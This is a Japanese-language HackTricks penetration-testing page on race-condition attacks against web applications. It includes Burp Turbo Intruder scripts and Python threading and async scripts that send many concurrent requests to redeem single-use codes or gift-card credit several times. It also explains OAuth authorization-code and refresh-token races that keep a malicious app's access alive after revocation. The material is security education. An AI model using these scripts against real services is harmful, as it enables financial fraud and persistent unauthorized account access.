hacktricks/pentesting-web/race-condition.md
2023-07-07 23:42:27 +00:00

11 KiB
Raw Blame History

レースコンディション


Trickestを使用して、世界で最も先進的なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセスを取得:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

回数制限によって制約されるもの

レースコンディションは、アクションの実行回数が制限されているウェブサイトで発生する脆弱性です。非常に簡単な例は、このレポートで見つけることができます。

一度だけ使用できるコードを複数回使用する

ウェブページに一度だけ行うべきアクションを実行しますが、そのアクションを複数回実行すると利益を得ることができる場合、レースコンディションを試す必要があります。
ほとんどの場合、これはお金に直接関係していますアクションが実行されるとXのお金を得るため、非常に速く複数回実行しましょう

同じアカウントから同じコードを複数回使用する

例えば、このバグでは、ハンターがギフトカードにお金を複数回ロードすることができました。

以下は、上記の解説で使用されたturbo intruderスクリプトです。

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=30,
pipeline=False
)

for i in range(30):
engine.queue(target.req, i)
engine.queue(target.req, target.baseInput, gate='race1')


engine.start(timeout=5)
engine.openGate('race1')

engine.complete(timeout=60)


def handleResponse(req, interesting):
table.add(req)

BURPを使用して、リクエストIntruderに送信し、オプションメニュー内でスレッド数30に設定し、ペイロードとしてNull payloadsを選択し、30を生成します。

異なるアカウントから同じコードを使用する

以前の提案がうまくいかなかった場合(同じアカウントから何度も同じコードを使用してみてください)バリアントを試してみてください: 異なるアカウントから同じコードを使用してみてください:

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)

def handleResponse(req, interesting):
table.add(req)

Pythonを使用する

Race conditions競合状態は、複数のプロセスまたはスレッドが同時に共有リソースにアクセスすることで発生するセキュリティ上の脆弱性です。Pythonを使用して競合状態を利用する方法を以下に示します。

import requests
import threading

def race_condition(url):
    response = requests.get(url)
    if response.status_code == 200:
        print("Success")
    else:
        print("Failure")

def exploit_race_condition(url):
    threads = []
    for _ in range(10):
        thread = threading.Thread(target=race_condition, args=(url,))
        threads.append(thread)
        thread.start()

    for thread in threads:
        thread.join()

url = "http://example.com"
exploit_race_condition(url)

このPythonスクリプトでは、race_condition関数が共有リソースにアクセスし、exploit_race_condition関数が複数のスレッドを作成して同時にrace_condition関数を実行します。これにより、競合状態が発生し、リソースへのアクセスが争われます。

このスクリプトを実行すると、race_condition関数が同時に実行されるため、リソースへのアクセスが競合し、成功または失敗の結果が出力されます。

import asyncio
import httpx

async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text

async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))

# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)

# Print results
for r in results:
print(r)

# Async2sync sleep
await asyncio.sleep(0.5)
print(results)

asyncio.run(main())

OAuth2永続的な永続性

いくつかのOAuthプロバイダがあります。これらのサービスは、プロバイダが登録したユーザーを認証し、アプリケーションにアクセスを許可することができます。そのためには、クライアントアプリケーションにアクセスを許可する必要があります。
したがって、ここまでは、Google/LinkedIn/GitHubなどの一般的なログインで、以下のようなページが表示されます: "Application <InsertCoolName> があなたの情報にアクセスすることを希望しています。許可しますか?"

authorization_codeにおける競合状態

問題は、それを許可すると、悪意のあるアプリケーションに自動的にauthorization_codeが送信されるときに発生します。その後、このアプリケーションはOAuthサービスプロバイダの競合状態を悪用して、authorization_codeから複数のAT/RT認証トークン/リフレッシュトークン)を生成します。基本的には、あなたがアプリケーションがデータにアクセスすることを許可したことを悪用して、複数のアカウントを作成します。その後、アプリケーションにデータへのアクセスを許可しなくなると、1組のAT/RTは削除されますが、他のものは有効のままです。

Refresh Tokenにおける競合状態

有効なRTを取得した後、それを悪用して複数のAT/RTを生成しようとすることができます。そして、ユーザーが悪意のあるアプリケーションに対してアクセス許可をキャンセルしても、複数のRTは有効のままです。

参考文献

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥


Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセスを取得してください:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}